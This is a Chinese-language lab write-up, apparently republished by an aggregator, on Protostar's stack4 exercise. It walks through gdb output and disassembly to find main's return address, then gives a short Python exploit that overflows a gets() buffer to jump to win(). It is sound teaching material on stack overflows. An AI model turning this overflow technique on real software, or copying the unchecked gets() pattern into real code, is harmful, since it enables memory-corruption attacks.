Protostar——stack4
Posted white-noise
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Protostar——stack4相关的知识,希望对你有一定的参考价值。
简介
这次练习只有buffer一个变量,所以不能再通过覆盖变量值应该程序执行逻辑了,这次我们可以直接覆盖main函数的返回地址,那么它的返回地址在哪里呢?
源码
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 #include <string.h> 5 6 void win() 7 { 8 printf("code flow successfully changed\n"); 9 } 10 11 int main(int argc, char **argv) 12 { 13 char buffer[64]; 14 15 gets(buffer); 16 }
分析
可以看到程序中有一个win函数,但并没有直接调用,我们的目的肯定是让程序的执行流程进入win函数。main函数中有buffer一个变量,在通过gets函数获取用户输入赋值给buffer变量之后,函数就执行结束了,所以这里我们需要仔细分析一下栈中的内容分布,如果输入内容大于64字节,我们会覆盖什么区域?回忆在函数调用时需要执行的汇编指令,以main函数为例:
1 push argv 2 push argc 3 call main 4 main: 5 push ebp 6 mov ebp, esp 7 为局部变量分配空间
所以栈中数据的分布应该是:
1 argv 2 argc 3 ret address 4 ebp 5 局部变量
下面通过调试程序,验证一下我们的分析
调试程序
1 (gdb) b 16 2 Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16. 3 (gdb) r 4 Starting program: /opt/protostar/bin/stack4 5 abcd 6 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack4/stack4.c:16 8 16 stack4/stack4.c: No such file or directory. 9 in stack4/stack4.c 10 (gdb) print $ebp 11 $1 = (void *) 0xbffffcb8 12 (gdb) print $esp 13 $2 = (void *) 0xbffffc60 14 (gdb) x/32xw $esp 15 0xbffffc60: 0xbffffc70 0xb7ec6165 0xbffffc78 0xb7eada75 16 0xbffffc70: 0x64636261 0x08049500 0xbffffc88 0x080482e8 17 0xbffffc80: 0xb7ff1040 0x080495ec 0xbffffcb8 0x08048449 18 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffffcb8 19 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4 20 0xbffffcb0: 0x08048430 0x00000000 0xbffffd38 0xb7eadc76 21 0xbffffcc0: 0x00000001 0xbffffd64 0xbffffd6c 0xb7fe1848 22 0xbffffcd0: 0xbffffd20 0xffffffff 0xb7ffeff4 0x0804824b 23 (gdb) info address win 24 Symbol "win" is a function at address 0x80483f4.
标红的部分是buffer的内容。
从调试的输出可以看到argc=1, argv=0xbffffd64,正是0xbffffcc0那里的内容,所以绿字是main函数的返回地址,橙字是上一个栈帧的ebp值。但是为什么0xbffffcb0那里还有八个字节的内容呢?我们可以看一下main函数的反汇编代码:
1 (gdb) disass main 2 Dump of assembler code for function main: 3 0x08048408 <main+0>: push %ebp 4 0x08048409 <main+1>: mov %esp,%ebp 5 0x0804840b <main+3>: and $0xfffffff0,%esp 6 0x0804840e <main+6>: sub $0x50,%esp 7 0x08048411 <main+9>: lea 0x10(%esp),%eax 8 0x08048415 <main+13>: mov %eax,(%esp) 9 0x08048418 <main+16>: call 0x804830c <[email protected]> 10 0x0804841d <main+21>: leave 11 0x0804841e <main+22>: ret 12 End of assembler dump.
可以看到在0x0804840b处的代码,对esp的值进行了一次对齐,正是这次对齐让栈中多出了8字节的数据。
所以,如果想要覆盖main函数的返回地址,使得程序的执行逻辑进入win函数,我们需要构造80字节的Payload,且payload以0xf4830408结尾。
EXPLOIT编写
知道payload怎么写之后,exploit就很好编写了,直接给出代码:
1 import subprocess 2 proc = subprocess.Popen("/opt/protostar/bin/stack4", stdin=subprocess.PIPE) 3 payload = "61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161f4830408" 4 proc.communicate(payload.decode("hex"))
输出结果:
$ python exploit4.py
code flow successfully changed
以上是关于Protostar——stack4的主要内容,如果未能解决你的问题,请参考以下文章
StarkNet 配置 protostar 部署Cairo合约